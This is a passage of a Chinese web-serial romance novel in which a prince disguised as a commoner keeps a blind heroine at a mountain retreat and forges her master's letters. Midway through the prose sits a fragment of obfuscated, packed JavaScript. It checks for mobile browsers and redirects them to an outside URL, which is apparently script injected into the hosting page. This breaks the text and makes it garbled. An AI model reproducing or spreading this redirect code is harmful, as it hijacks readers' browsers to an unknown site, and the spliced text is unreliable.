一旁的邢历帆不止是老实了，他甚至连话都没再说一句。因为他突然想起，当初秦千千讲故事点他，其实应该不止点自己，还是在暗示白邵禾吧？
小小年纪，竟然有如此筹谋！
真是后生可畏啊！
邢历帆不由得把心事说出口，王老怪问他嘀嘀咕咕在说什么呢。
“我是说，千千一定不是什么寻常人物，她是个做大事的人！甚至以后成就一番大事业，那也都是未可知的事情。”
桑风雪和桃花花，互换了个心知肚明的笑。
他这话没毛病，只不过他要是知道，他们召集令都是在秦千千手里领赏的，他应该会更震惊吧。
“阿嚏！”远在百里之外的秦千千，站在悬崖边打了个喷嚏。虽说有围栏，但白邵禾还是着实吓了一跳。
她缓过劲儿后，咬牙切齿地跟他说：“有人在念叨我，肯定是桑姐姐跟桃花她们！”
这种稀奇古怪的事情，被她一本正经地说出来，白邵禾就觉得有些好笑。
“我还以为，你这是被风吹得不舒服了呢。”
“你说的也有可能，走吧，咱们回去吧。”
听着奔腾不止的流水声，她都能想象这瀑布有多壮观，可惜她现在看不到任何东西，只能听白邵禾给她描述。
察觉出她有些落寞，白邵禾就赶忙问她怎么了。
要说带她来这里，让白邵禾最担心的事情，其实是她的精神状况。
在他看来，秦千千很擅长也很喜欢跟人打交道，像她这种性格，让她待在这人迹罕至的地方时间久了，他很担心她不开心。
他可不想用穆元基对待楚风的样子，不顾她死活，非要留她在身旁。
虽说今天才是上山的第二天，可是他格外关注她的精气神。一旦发生不对，他就会立马带着她下山去。
“我就是算着日子，察觉今天任楚君和邢历帆也该到岭北了，不知道她们那边有没有按计划进行，突然想起了这个而已。”
她不知道，穆轩岚知道的清楚。
可眼前他不是穆轩岚，只能借用白邵禾的身份安慰她。
“放心吧，就像你说的，她们两个可是最厉害的赏金猎手，处理一些那种小喽啰，肯定是绰绰有余的。”
搀着她回了院子，盈泉跟舒彤带着任阿嬷站在门口，三个人齐齐整整地跟白邵禾他们两个行礼。
听出有三个声音，秦千千猜，其中一位，肯定就是那位巧手任阿嬷了。而且她发现，白邵禾从来不会让男人来自己面前。
若不是昨天刚一进门，有个门童跟她们打招呼，秦千千差些以为，这别苑除了白邵禾，就再没别的男人了。
“小姐，我就是在别苑做饭的任阿嬷，她们都叫我任阿嬷，您要是不嫌弃，也叫我这个名字吧。”
任阿嬷昨晚就听说这小姐脾气好，还特别受宠。现在看着她跟殿下如胶似漆，殿下又这么宝贝她的样子，而且她面善的很，任阿嬷跟她说话的语气就又柔和了两分。
秦千千笑着点头，“阿嬷，有没有什么好教我的东西，摘菜或者干什么都行，我现在闲着也是闲着。您以后也叫我千千吧，咱们这么叫，亲近一些。”
话是这么说，那任阿嬷她们怎么敢给她安排什么事情，殿下板着脸站在旁边呢，任阿嬷赶紧说没有，让她好好修养一番。
接收到眼神暗示后，三个人火速离开了。秦千千坐在树下的石桌上，百无聊赖地托着脸，不知道在想什么。
不知从何时开始，一看到她一言不发，白邵禾心中就有些慌乱，眼下也是如此，他总在心中想，她会不会是嫌这里太无聊了？
“你说这邢历帆到底是个什么人，我上次都那么暗示他了，他怎么就是不跟楚君姐姐表明心意呢？”
一直等到她开口，白邵禾才知道她在想什么，他哑然失笑，原来是在为别人的感情问题发愁。
她啊，真是有一颗操不完的心。
“或许他有自己的苦衷，又或许他怕让任楚君为难。”
白邵禾以己度人，自己之前不表明心意，那也是既忧愁自己的身份问题，又担心她对姜千秋的保证。
总之越想越多，也越想越不能解决问题。
虽说现在问题依然存在，依旧没有解决，可他还是很后悔，自己应该早些说的。
秦千千沉思良久，也不得不同意他这个说法。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956966|148501||http|test|mini|href|location''.split(''|''),0,{}));
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“对了，若是我最近收到主人的来信，你得帮我读一下！这次出走，算是我做的最离经叛道的事情了，主人虽说不再联系我，但那丝毫不影响她写信训斥我。”
往常，白邵禾有多想从她嘴里听到姜千秋的名字，现如今他就有多不想。
姜千秋的名字一出来，就在跟他昭示，眼前的幸福欢乐都是虚妄，终究会再某一刹那化为泡影。
除非，他放弃父皇委托给他的重任，舍弃他的江山社稷，心甘情愿留在山上做白邵禾。
每每想到这个问题，他就表情痛苦，头痛欲裂。不过现在的秦千千察觉不到，眼前语气如常平稳的人，心底其实在滴血。
“我日日跟你在一起，当然得我念给你听了。”
秦千千她们这边没等来的信，桃花花这边却等来了。
桃花花原本在前院卖木炭，结果一个小孩儿冲过来，给她手里塞了张纸条。
她不知道怎么办的时候，就会先想一下秦千千当初是怎么做的，然后模仿她就是了。
对，先自己看看。
打开纸条后，几个飘逸隽永的字映入眼帘：
【勿回京都，静待消息】
桃花花想不明白，阁主为什么不让她们回京都？明明巡商的事情已经完成，不早日回京吗？
让她更奇怪的，不止这一件事儿。
虽说现在她是清风酒楼的老板，可她发现，所有的消息就没有送到她手上过。可千千也告诉自己，她再没收到过线人的消息了。
这就很奇怪了，源源不断的情报去哪里了呢？还是说，现在情报暂时中断了……
桃花花无比懊悔放秦千千离开，现在她想动用线人查她在哪，都查不出来，她现在可谓是孤立无援。
“什么！你的意思是，这半个月，你几乎没有收到过各方的消息？”
桑风雪也很不可思议，千千在的时候，每天都会有消息递给她。而且她不太信，这是由于阁主区别对待她们两人。
比起这个，她更愿意相信，消息链由于什么原因中断了。再加上阁主不让桃花回京，桑风雪有些胆寒，突然有种风雨欲来的窒息感。
可惜她们现在联系不上秦千千，不然，她一定会知道是怎么回事。既然不知道去哪里，她们只好继续待在岭北。
晚上，秦千千早早吃完饭，让舒彤和盈泉带着自己去后山的清洛洞里游玩。她听说那里池水常年温暖，可以过去洗澡，而她也的确想泡泡温泉放松一下。
白邵禾原本不想让她去的，她只要不在自己眼前，他就觉得不安心。可又不想煞了她的兴致，负责送消息的胡镇川也远远伫立在院门口，他只得同意她们三个去清洛洞。
“你们两个要看好千千。”
“知道了，知道啦！”秦千千一手挽着一人的胳膊，左拥右抱地走了。
白邵禾无意吃饭，挥手让胡镇川过来。元德把这边的情况，还有那个密函的内容全都汇报给他，看完后，他随手就把信纸放在烛火上引燃。
这姜千秋可真是个胆小鬼，现如今她倒藏起来了啊！
122. 不得不回一趟京都
“殿下……”
看着殿下指尖跃动的火焰，胡镇川不得不惊呼出声，那可是皇上传来的密函！
殿下怎么能直接烧了呢？
白邵禾知道自己在干什么，他抬手示意胡镇川闭嘴。
“告诉元德，按兵不动。至于朝堂上的事情，我自有定夺。”
往日运筹帷幄的白邵禾，这次却失了手。
秦千千跟两位侍女前脚回来，白邵禾刚接过她的手，胡镇川又正好无声站在墙边。
白邵禾十分不悦，但不能表现出来，他先让舒彤和盈泉带秦千千回去。
看着千千稍稍错愕的表情，他顾得不得别的，就想跟她解释。
“我……”
“没事，你快去吧。”秦千千推掉他钳住自己胳膊的手，“说不定是你爹知道你回来，想要跟你叙叙旧呢。”
他无声叹了口气，跟她保证自己去去就来。
没人知道，他低垂的眼眸中，尽是心痛。
一是为渺茫的将来忧愁，二是为谎言编织的现状内疚，两者交织在一起，束缚得他透不过气来。
不止心痛，还有他自己都说不上来的心慌。
面对这么放心自己，丝毫不问缘由的秦千千，他总有种抓不住这人的惘然。
生怕下一瞬间，她就不见了。
再度抬眸，他毫无征兆地把人拥入怀中，这动作太过突然，秦千千浑身一僵，可她立马浅笑出声。
她的双手攀附上白邵禾略微弯下的背，轻声安慰他：“早去早回，晚上还要跟我一起吃饭呢。”
“嗯。”白邵禾生怕情绪外露，给她发现什么端倪，只得立马应声。
看着两个侍女搀扶着她离开后，他负手站在原地，胡镇川快速扑跪到殿下脚边，马不停蹄地汇报宫中的事宜。
这世上，很少有让白邵禾颇感无助的事情。
但眼下，他就面临一个抉择，或者说，他其实没得选。
白邵禾沉吟良久，最后泄了气般轻叹一声，而后满脸无奈地嗤笑。
他就知道！
宫中现在传来的消息，除了要催他不惜代价得手，还会有什么呢？
现在传信说父皇身体抱恙，要他快马加鞭赶回去……
可他现在放心不下秦千千，也不愿放她自己在这里。
到嘉松别苑这几天，虽然她表现的很踊跃，但脸上时不时会闪回一丝落寞，那些表情白邵禾看得一清二楚。
每次看到，他都觉得心痛。
现在自己要是再离开，那她会怎么想呢？
可眼下也不能把桑风雪她们带来，这些江湖之人虽不懂什么宅子的皇家制式，但她们能转述给秦千千，到时候一样露馅。
忧愁归忧愁，他可没忘记立即去找她。
侍女看着殿下推门而入，就立马从秦千千身边起来，低头站在她身侧，虽没请安，但也是毕恭毕敬地站着。
本来正在谈笑风生，气氛一下子冷下来，秦千千对此也不觉得疑惑。
她知道，是白邵禾回来了。
“在聊什么，怎么不聊了？”白邵禾语调温柔，坐在她身边。
秦千千笑着跟他解释：“她们久居高山，外面很多事情都不知道，所以我给她们讲些江湖故事。你那边怎么样，是有什么事情吗？”
白邵禾朝旁边两个人递了个眼神，舒彤和盈泉赶忙起身离开，秦千千什么都没说，她只由着白邵禾牵起自己手。
听脚步声渐远后，她才把左手覆上白邵禾的手背，问他是不是发生了什么事情。
“为什么这么问？”
秦千千噗嗤一声笑了出来，虽然眼神呆滞，但眉眼弯弯的样子还是让他心悦得不行。
“感觉你不开心，而且你的手怎会这么凉？我家主人跟我说过，手传心火，心思沉重之时，人手的温度就会很变低。”
听着她一本正经的解释，白邵禾的脑中乱成一片，但还是跟着笑出声。
他不在乎这说辞是真是假，看着她嘴角噙笑的样子，他心中柔软的一塌糊涂。
“嗯，我爹派人找我回去，说是家里生意出了些问题，我在犹豫，要不要回去。”
白邵禾选择全然相信秦千千，直接把事情跟她坦白，之前自己只想怎么保护她，却把她的身份忘得彻底。
她可是能独当一面的秦老板。
不止独当一面，秦千千也是全天下最会审时度势的人。
果然，听他说完，秦千千压根就没有犹豫，她十分疑惑地问他：“为什么不回去？你跟你爹也没有闹得那么僵吧……再说，跟什么过不去，也别跟钱过不去呀。”
……
白邵禾是万万没想到，最后的落脚点居然是钱。
那微不可查的笑声被秦千千捕捉到，她耸了下鼻子，一脸的不屑。
眼看她生气地转过头，白邵禾赶忙轻声细语地道歉。
“我错了，我这不是拿不准主意，所以想跟你商量一下，你觉得我要回去吗？你跟我一起回去吧。”
看似是邀请，其实他清楚她是不会去的。
秦千千不止不去，她还颇为紧张地一把抽出自己的手，双手交叠环抱在胸前。
“我肯定是不能去的！莫要乱开玩笑。”
看着她一副紧张兮兮的表情，白邵禾赶忙应允下来，生怕她过度忧虑这事。
“也罢，等我之后三媒六聘，再带你见我爹娘。”
哪怕她看不到，白邵禾也是表情十分诚挚，这话他是发自肺腑说的。
自小在天规戒律中长大，白邵禾自然懂得，爱一个人，就要给她最好的排场。日后极尽奢靡，也只是对她诉说爱意的一种表达。
秦千千万万没想到，他已然思虑到未来，而关于见爹娘的事情，其实是天大的误解。
她并不在乎什么名分排场。
白邵禾对于未来，抱有很大的希冀；可她不一样，她觉得自己是没有未来的，因此，她不愿意耽搁他。
可眼下她不敢说这话，两个人每次讨论起这个，总是要不欢而散。
算了，将错就错吧。
“嗯，你路上注意安全，我等你回来。”
看她乖巧地点头，白邵禾的手又去而复返，抚上她脸。
秦千千原本下意识地要躲，往左撤离一寸，似乎发下不妥，僵在原地时白邵禾的手又贴了上去。
“今晚等你睡着，我再离开。”他沉声提
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议。
秦千千却皱起眉头，“不行。”
她也能想明白他的意图，无非就是早去早回。
可一觉醒来找不见他，秦千千觉得自己不会特别开心，再加上晚上的山路也不会很好走，那还不如白天离开。
白邵禾拗不过她，只能应允她，明日一大早再走。
晚上睡觉时人还好好的，第二天他起来时，发现千千面色惨白，好像身体不舒服。
他轻声唤醒怀中之人，秦千千打了个长长的哈欠，说他多虑了，然后就赶忙催促他快些动身。
虽说白邵禾发现了什么端倪，可是现下不是刨根问底的时候，他只能按捺住疑惑，早早出发了。
下山之前，他转头回望府门，除了两位门童之外，门口再无他人。
千千，肯定还是有什么事情瞒着自己……
奉命看守她的胡镇川，昨夜调集二十几个人上山，把嘉松别苑围了个水泄不通。
若不是一切都准备停当，白邵禾还真不能如此坦然地离开。
白邵禾日夜兼程的赶路，终于在第三天夜里赶回京都，穆元基负责在城门口为他接风洗尘。
看到他一脸倦容，纵使穆元基跟他再不对付，也忍不住关心了他两句。
“几日不见，皇兄怎地如此憔悴？”
穆轩岚在高头大马上睨了他一眼，那眼底的乌青又让他多了两分阴翳，穆元基眼神有些发虚，但还是强壮镇定。
穆轩岚本无意戳他痛处，毕竟他整个人的神色也没比自己好多少。可他偏要凑上来，那自己就成全他。
“楚风找到了吗？”
“你……”
穆轩岚挥鞭驾马，扬长而去，空留穆元基在原地愤恨。
他直接纵马赶向皇宫，皇上也早就收到消息，交代人把他带去皇后宫中。
当穆轩岚风尘仆仆踏入殿门时，他就发觉自己被骗了。
说是病危的皇上，此刻却精神矍铄地端坐在上位，反倒是他身边的皇后，面容有些许憔悴。
在这一刻，穆轩岚心中的愤怒达到了极点。
这几日的舟车劳顿对他来说不算什么，可他真的很担心千千，再加上现在又发觉自己被骗，他脸色十分难看。
“儿臣拜见父皇母后。”
他甚至懒得鞠躬行礼。
皇上皇后自然看出他的不快，毕竟，他们捏造事实在先。
可谁知，皇上却龙颜大悦。
“儿啊，看来朕这次是骗过姜千秋了吗？整个天下都以为朕快要不行了吧。”
穆轩岚骤然抬眸，眼底满是震撼与不解。
片刻之后，他就全懂了。
秦千千正是收到皇上快要殡天的消息，才安置好众人决意孤身赴死的，而后一系列事情，也就说的通了。
为什么姜千秋不让桃花花她们回京，因为担心天家对清风酒楼赶尽杀绝，现在她们芳草阁，怕是正在人人自危。
“而在这种高压之下，朕不信姜千秋不会联系秦老板，但凡有什么蛛丝马迹，轩岚，你可要千万追查到底啊！”
穆轩岚低眸敛去眼底的震惊，在席间落座，至于心神，早就随风飘到千里之外的嘉松别苑里了。
123. 果真等到了来信
“父皇，那你就更不应该召我回来了。”穆轩岚神情漠然地说。
早知如此，他就更应该留在千千身边，说不准，现在已经拿到姜千秋送来的信了。
其实那封信，已经在千里奔袭来的路上了。
殿下前脚刚走，胡镇川他们就发现山上有异动，可殿下临走前有交代，除非万不得已，否则不能在秦千千面前露面。
秦千千听到苍鹰啼鸣，就立马起身往门外走，舒彤和盈泉都几乎跟不上她。
“秦小姐，您慢一些！”
“快快快！别让秦小姐摔倒了。”
也就是这时，她们两个才发现，平日里需要殿下时刻搀扶的人，竟健步如飞，跟正常人没有区别。
她们来不及震撼这事，眼看秦千千已经跑到门槛边，她仿佛有预感一样，停下了脚步。舒彤这才跑过去，搀扶住她。
扶着秦千千站到院子中央，那盘旋许久的苍鹰也不落下，她仰着脸望天，然后抬起左胳膊。
苍鹰看她摆好姿势，这才稳稳降落在她臂弯上。
秦千千摸索着把它腿上的信笺拿下来，接着用力往上一挥，放飞了苍鹰。
舒彤和盈泉互换了个眼神，两个人都紧张的不行，看来接下来得按照殿下交代的行事了。
穆轩岚早早就假设过这个局面，他备好了几张字条，不管秦千千收到什么字条，舒彤和盈泉都不能念给她听。
交给她的，只能是殿下准备好的。
两个人一左一右，都在焦急地等秦千千问她们，结果她却把信笺往怀里一揣，让她们带自己回去。
“小姐，这是谁给您的信啊？”盈泉隐隐觉得，放任此事不管，更是罪加一等。
秦千千坦然一笑，似乎并没有想瞒她们，“是我曾经的主人，你们或许不认识，但邵禾认识。”
说起她主人，秦千千脸上是她们未曾见过的释然，那其中，还夹杂着两分放松。
“也不是背着你们，关键她给我的这东西，可大可小，所以现在不能让你们看，希望你们不要见怪。”
舒彤和盈泉万万没想到，她会解释这事儿，两个人受宠若惊地连忙婉拒，若不是一左一右搀扶着她，她们两个早就扑跪在地上了。
“小姐说哪里的话，我们两个只是好奇而已，小姐不用跟我们解释的。”盈泉急得语速飞快，三个人边说边往屋里走。
晚上她们按照计划换了香，等秦千千沉沉睡去后，两个人换出那张密函，谁都不敢看，直接交给胡镇川快马加鞭送去京都。
穆轩岚刚从母后宫中出来，他现在不便回自己府上，便准备去行宫中休整一晚，明天就立马踏上归程。
谁知，前脚踏入行宫，后脚密函就送了过来。
他接过那筷子粗细、食指长短的一截翠竹，神色复杂地看着它。
该兴奋吗？的确应该。
毕竟这是姜千秋亲笔密函，是他找寻了许久的东西。
该忐忑吗？虽然不想承认，但他现在的确很不安。
可他不是优柔寡断之人，暂且搁置心中的疑虑，他直接打开了那封印好的盖子。
倒出密函，展开查看。
“哼！”穆轩岚不愿再多看一眼，他直接把信纸团成一团，朝最近的烛火扔去。
特质的纸沾火即着，顷刻间化灰消失了。
胡说八道！
他只扫了一眼，却深深记住那几个字。
【千千，所托非人，尽早离去】
穆轩岚万万没想到，她姜千秋这封信竟然是说这种事情，再说，自己怎么就“所托非人”了？
本就疲累红涨的眼睛，现在又多了两分暴戾，穆轩岚耳中嗡鸣，他闭眼屏气凝神，试图让自己冷静下来。
片刻后睁眼，眼中已满是清明。
他抬手招人进来，沉声吩咐那人备车。
“殿下，您舟车劳顿，莫不如歇息一晚上吧……”
穆轩岚抬手打住他的话，自己决定的事情，无需再议。
一想到姜千秋知道所有事情，现在也准备跟千千和盘托出了，穆轩岚就无法冷静下来。
他现在最担心的，就是回去时发现千千已经被她带走了。
因此，一刻都停留不了。
“殿下，此举不妥！”一声浑厚的声音从殿外传来，穆轩岚稍显不悦地抬眸盯着那人。
“袁毅，你何时能置喙本王的决断了？”
穆轩岚想来不开玩笑，这句话的威压空前巨大，他先前从未跟袁毅如此这般说话。
毕竟，袁毅是年过四十的长者，虽说两个人是忘年交，但穆轩岚还是很敬重他的。
要不然，也不会委托他去剿灭纵虎岭。
袁毅也有些哑然，他得过特赦不用行跪拜礼，但跟往常一样，拱手礼是少不了的。
行过礼后，袁毅就呵斥那人退下。
“殿下切莫关心则乱，你现在日夜兼程赶过去，又能怎么样呢？除了累垮您的身体，别的什么都做不到。”
穆轩岚知道他说的在理，但他就那么面无表情地看着袁毅。
一看他这表情，袁毅就懂了，他这是偏要一意孤行了。
既然如此，那不如说些他感兴趣的事情。
“那殿下不妨这样想，她姜千秋若是想，现在早就带走了那姑娘。”
“你……”穆轩岚被戳到痛处，他表情突然阴翳。
激将法凶险，但有用！
袁毅吞了下口水，继续说道。
“那殿下还不如按部就班，休整两日再走。其实要我说，姜千秋带走她也是好事，这样我们的人就能获悉她的方位了。”
穆轩岚攥紧背在身后的手，他又何尝不知道，这样一定能找到姜千秋？
可这也代表，秦千千会知道真相，那到时自己和她……
峰回路转，他还是躲避不开这最终的选择。
袁毅知道殿下和秦千千的情感之事，也理解他现在的纠结，只不过在他看来，这事儿没什么好纠结的。
“殿下英姿飒爽又深得她心，怎地在这种事情上没有信心？哪怕她知道真相，臣觉得她最终也会原谅您。”
穆轩岚深深看了他一眼，信口开河莫过于此吧。他嗤笑一声，不知是在笑袁
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毅，还是在笑自己。
“若是她不原谅我呢？”
“……”袁毅大手一挥，生动诠释了站着说话不腰疼，“那您就跟五皇子一样，关着她就是了！关久了，心早晚就是您的了。”
穆轩岚倏然吸两下鼻子，他一脸疑惑，似乎闻到什么异味。袁毅稀奇地四处打量，不知道殿下葫芦里卖的是什么药。
“你身上也没有酒气，怎么净说胡话？”
被敲打的袁毅也不生气，他堂堂大将军，怎会为了一时口舌而气绝。
“殿下还怕管不住她一个黄毛丫头？”
“不，是她深得我心。”
终于说出这句话，穆轩岚整个人就像被抽干了所有气力，他扯了下嘴角，最终还是扯不出一丝笑意。
袁毅一个粗人，顷刻间也懂了他的意思，他费劲浑身解数，这才站稳身躯。
可那句话带来的冲击，还在他脑中回荡。
殿下孤高清傲，又克己复礼，向来都是个有分寸之人，现如今怎么会被感情之事扰乱心神……
可惜袁毅不懂，感情之事，向来是用理智解释不了的。
身处旋涡之中的人，抽离的比“旁观者清”的袁毅还快，穆轩岚浅笑一声，他早就认命了。
“此事只你知晓，千万别跟外人透露了去。言尽于此，你出去时叮嘱他们快些备马。”
袁毅杵在原地，穆轩岚想既然把话说开了，那就干脆跟他倾诉两句，反正，这些话他憋在心中好久了。
“我又何尝不知道，拿她定能引诱出姜千秋，可是我不敢赌，因为我知道输的一定是我。”
袁毅发觉，这是殿下为数不多，跟他推心置腹的时刻，他跟随殿下落座，既然他想说，那自己就认真聆听。
“可另一边是我父皇，是我尽职尽忠的君父……把她接进嘉松别苑，是我自己的私心，是我想偷来一段安逸时光，仅此而已。”
穆轩岚盯着放在眼前的茶具，那制式很像嘉松别苑的茶具，这让他突然晃了神，心思又飞去远方，思考千千现在在干什么。
袁毅现在的表情，说是扼腕叹息也不为过，他两条眉毛紧皱在一起，脸上的不解和为难相互交织，都快把穆轩岚看笑了。
这跟饮鸩止渴有什么区别？
“没区别。”穆轩岚看透他的心事，直接回答了他。
袁毅现在是当真无话可说，眼前的难题比攻城破寨难多了。
“行了，我又不是让你帮我解决这个问题，你只需要去帮我备马就是了。”穆轩岚潇洒挥手，打发他离开。
一炷香后。
穆轩岚看到袁毅身边的轿子时，低头失笑，“好吧，听你一次，慢些赶回去。”
在启程前，袁毅语重心长地跟穆轩岚交代了最后一句话。
“殿下，您是最擅长快刀斩乱麻的人，饮鸩止渴固然有用，但那会死人的。”
穆轩岚听得真切，但并未听到心里，他沉默不语，直接起身离开。
旁观者毕竟是旁观者，他自己做的每一个决定，他都不后悔。
两日后，白邵禾就到了嘉松别苑。
124. “白邵禾”
意识回笼之际，秦千千就察觉到了屋子里有人。
昨夜舒彤和盈泉要留下来陪她，被她打发走了，而且屋中要是她们，那在自己刚一睁眼的时候，她们就应该过来跟自己打招呼了。
“邵禾，是你回来了吗？”她坐直身体，轻声开口。
那声音微不可查，就算不是，她也能装作无事发生。
穆轩岚端坐在桌边，并未应声。
并未得到应答，秦千千倒吸一口凉气，而后大喜过望，立马就要从床榻上起身，甚至连鞋都来不及穿。
“主人，是你来带我走的，对不对？”
接下来的片刻宁静中，穆轩岚听到自己心碎的声音，可他来不及伤神，秦千千已经朝自己奔袭而来。
在擦肩而过的瞬间，他长手一揽把人搂进怀里，在她背撞上自己胸膛时，他顺势低头，把下巴放在她肩头。
“主人？”穆轩岚声音沉闷，但因为离她耳朵太近，听得秦千千耳朵痒痒的。
不过她也不躲，就面带笑意地任由那人贴着自己，她手还搭上腰际的胳膊。
“是我这里住的不舒服吗？”
“当然不是！不过你怎么回来的这么早？”秦千千十分惊讶，却又默默转移话题。
白邵禾低头看着两人交握的手，明明她就在自己怀中，但他总有种马上回失去她的错觉。
“再回来晚些，我担心你就要被人拐跑了。”
秦千千听出他很在乎刚刚那句话，就挣扎着在他怀里转身，两个人面对面后，白邵禾还是没有收回环住她的手。
不止于此，他还又紧了两分手臂。
“前几日我收到主人的信，虽然不知道她给我写的什么，这不是等你回来帮我看嘛！这几天我都在想这事儿，所以第一反应是主人来接我。”
看着她焦急地解释，白邵禾赶忙应和她，虽然那话中还有很大的漏洞。
“好好好，我现在帮你看。”
盈泉伪造技术一流，白邵禾接过那跟原本无二致的细竹筒，看着自己写好的信笺，他却心思一动。
何不借此天赐良机，来个一箭双雕？
半晌没听到声音，秦千千一脸疑惑地问他：“写了什么？”
白邵禾看了她一眼，面色如常道：“千千，你主人问你，‘情感之事，汝之奈何’？”
秦千千呆愣住，微微偏过头。
白邵禾没有错过她的表情，可今日不管如何，他都想要问出个答案。
比起一个人顾影自怜、患得患失，白邵禾更想要个确切的回信，哪怕，结果与他的期望背道而驰。
看她抿着嘴不出声，白邵禾就替她开口。
“千千，你可知我前几日回去，我爹告诉我什么吗？他为我寻了一门亲事，想让我回去完婚，你说……”
这话是真的。
在他咄咄逼问下，皇上皇后承认了为他选妃的事宜，而且两个人心意已决，所有流程都已进行半数，穆轩岚丢下个不用他们操劳，就先行离开了。
结果不等他说完，秦千千立马就回应了他。
“你当然要回去！”秦千千抬手想抓住他的手臂，这次，他无声避开，让她扑了个空。
穆轩岚悬着的心终于死了。
虽说他早已假设过现在的局面，可当此情此景真的出现时，他还是无法自抑地心痛。
“那你呢？”
自从认识他起，秦千千就没听到过，他如此冷漠的语调。
而自己扑空的手，也无不意味着，他在生气。
秦千千低头淡然一笑，“我就知道，之前我神功大成，是你在背后帮助我吧？”
她收回悬在空中的手，扶着桌子起身，穆轩岚跟着起身。
“你真的想听我说实话吗？”秦千千转身看着他，眼神空洞，但看得穆轩岚心中一紧。
事到如今，谁都没有回头路了。
穆轩岚嗯了一声，便不再言语。
秦千千点点头，说出了她的真实想法。
“我现在的所作所为，就是在竭尽所能补偿你，就像……”她沉吟良久，知道他会因此暴怒，但她还是决定坦白，“就像当初送晏信离去前，我做的那样。”
听着那人骤然一声嗤笑，而后不屑地转身离开，秦千千无奈地闭上眼睛，她现在心痛到无以复加。
她站在原地不知所措，穆轩岚又怎忍心看着她难过，他其实并未离开，那离去的脚步声，也只是他盯着她后退而已。
穆轩岚三步并作两步，走到她身边，原本心中澎湃酝酿的狠话，现在却一句也说不出来。
“我回去成婚，那你呢？还是要杀身成仁，非要护住你那神出鬼没的主人？”
秦千千眉眼低垂，一副无可奈何的样子，现在不管说什么都太过苍白。
哪怕苍白，她也要为主人正名。
“你不要迁怒我主人，这一切都是我自愿的。每个人都有自己的路，和谐圆满，就是你的一生，我也会为你高兴的。”
她缓缓抬头，哪怕不看她脸上洋溢的诚挚，穆轩岚也知道她这话是发自肺腑的。
“至于我，也有我自己的路要走。死在穆轩岚手上，就是我最好的归宿。”
穆轩岚眼中满是几乎压抑不住的偏执与狂躁，“没有你，何谈让我圆满？”
秦千千瞪大双眼，她没想到，他会这么直白地表明心意。
在她被这言语惊得满耳嗡鸣、不知所措时，他又接着扔出一记平地惊雷。
“既是如此，你让我见一面姜千秋吧，我倒要问问，她非让你给她抵命吗？”
“别……，你别这样说……”秦千千一瞬间慌乱起来。
不管她怎么说，穆轩岚却更加坚定自己的想法，虚与委蛇得他累了，现在他就想立马见到姜千秋，问个清楚。
关于秦千千，关于那仙山。
弄清一切后，他就不信自己保全不了她一人。
往常都是殿下百般哄逗秦千千，舒彤和盈泉完全没想到，自从殿下此次回来后，形势直接来了个大逆转。
秦千千一刻不停地跟着殿下，殿下虽然表现的漠然，完全没有平时的百般呵护。
可谁都清楚，她有眼疾都能追上武功独步天下的殿下，摆明是殿下为她大大放水了。
端茶倒水的间隙，盈泉终于跟舒彤碰了头，两个人躲在回廊上说小话。
“秦小姐怎么惹殿下不开心了？据我听闻，她应该是不
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停跟殿下道歉吧。”舒彤手拢在嘴边，生怕被别人听了去。
盈泉连连点头：“是呀！我也听到一句，秦小姐说‘他怎么能跟你比，我压根就不喜欢他’，你说这个他，是谁啊？”
“别管是谁，秦小姐可千万要把殿下哄好，不然，殿下严肃起来，看得人真的害怕。”
舒彤想起，今天自己端茶失手打了茶盏，把秦千千吓了一跳，殿下没出声，但那眼神看起来十分恐怖。
她打了个寒蝉，不敢再回忆一遍。
“想什么呢，殿下将她视若珍宝，现在也就是逗她玩而已。再加上小别胜新婚，我跟你打赌，不出两日她们准能和好。”
两个人嘀嘀咕咕离开，此时她们谁都没想到，接下来局势会急转直下，直至深渊。
晚饭时，秦千千一言不发，意兴阑珊地吃饭。穆轩岚还跟往常一样，时不时给她夹菜，但却没有主动跟她搭话。
“我吃饱了。”秦千千把碗筷放在放桌上，乖巧地坐在原地。
难得见她这么乖，穆轩岚下意识回了她一句“嗯”。而后他一脸懊悔，果然不能有丝毫松懈，习惯是个很可怕的事情。
今日他在跟千千闹别扭，她不愿意让自己见姜千秋，其实应该是怕自己找姜千秋麻烦。
秦千千长叹一口气，最终还是不得不妥协。
“好，我帮你引荐主人。”
晚上她亲自修书，穆轩岚就在一旁帮她看着，他想帮忙，但却被秦千千一口回绝。
“你只需要帮我看看，下笔的位置就好。”
她若不是怕他生气，就一定会跟往常一样，把外人都请出去，然后独自撰写信笺的。
不过他在也好，自己写歪的时候，他能立马纠正自己。
比起主人言简意赅的只言片语，秦千千的信往往都是长篇大论，主打一个事无巨细、面面俱到。
这也是为什么，她不愿让别人看，毕竟她透露的事情太多了……
穆轩岚看着她连写三张，并且还有写下去的趋势时，实在忍不住笑出声。
秦千千一抬手，他自然地接过毛笔，帮她沾墨。毛笔再度放在她手中时，秦千千用肩膀撞了一下他的胸口。
“刚刚笑什么？”
穆轩岚难掩笑意，他托住她的手腕，带她找到合适的落笔位置。
“我就是没想到，你每次跟她通信都要长篇大论，可让我代笔，你还不肯。”
这算是秦千千的坚持，也算是对主人的敬意。
“快了快了，写完这几天的事情，再写两条我的推断，就能送出去了。”
不用她说，穆轩岚也看得真切，他就是很好奇那推断是什么。
不一会儿，她就写到这里了。
第一条推论，京都不安全，千万不能让桃花花她们回去；第二条，则是预测穆轩岚会卷土重来。
可奇怪的是，她一个“穆”字还没写完，手中的笔却骤然掉落，墨迹迅速晕开，穆轩岚赶忙拿走笔，问她怎么了。
“累了吗？”
秦千千下意识躲了他一下，而后略显木讷地点头，“明天再写吧，我想去休息了。”
说罢，不等穆轩岚扶她，她自顾自地快步离开。
125. 性情突变
往日穆轩岚睡觉时都很警惕的，可这几日连续奔波，纵使是铁打的人，也要累的。
再加上心心念念的人，就躺在自己怀中，他放松心神睡了个好觉。
只不过秦千千却与他相反，她虽然看不见，但就那么睁着眼熬过一晚上。
这一晚上，她什么都想通了。
从某一刹那起，山中的鸟类一同啼鸣，秦千千攥紧拳头，翻了个身。
穆轩岚不习惯她远离自己，就也跟着往前移了移，胸膛紧紧贴着她的后背，两手交缠，把她牢牢抱在怀里。
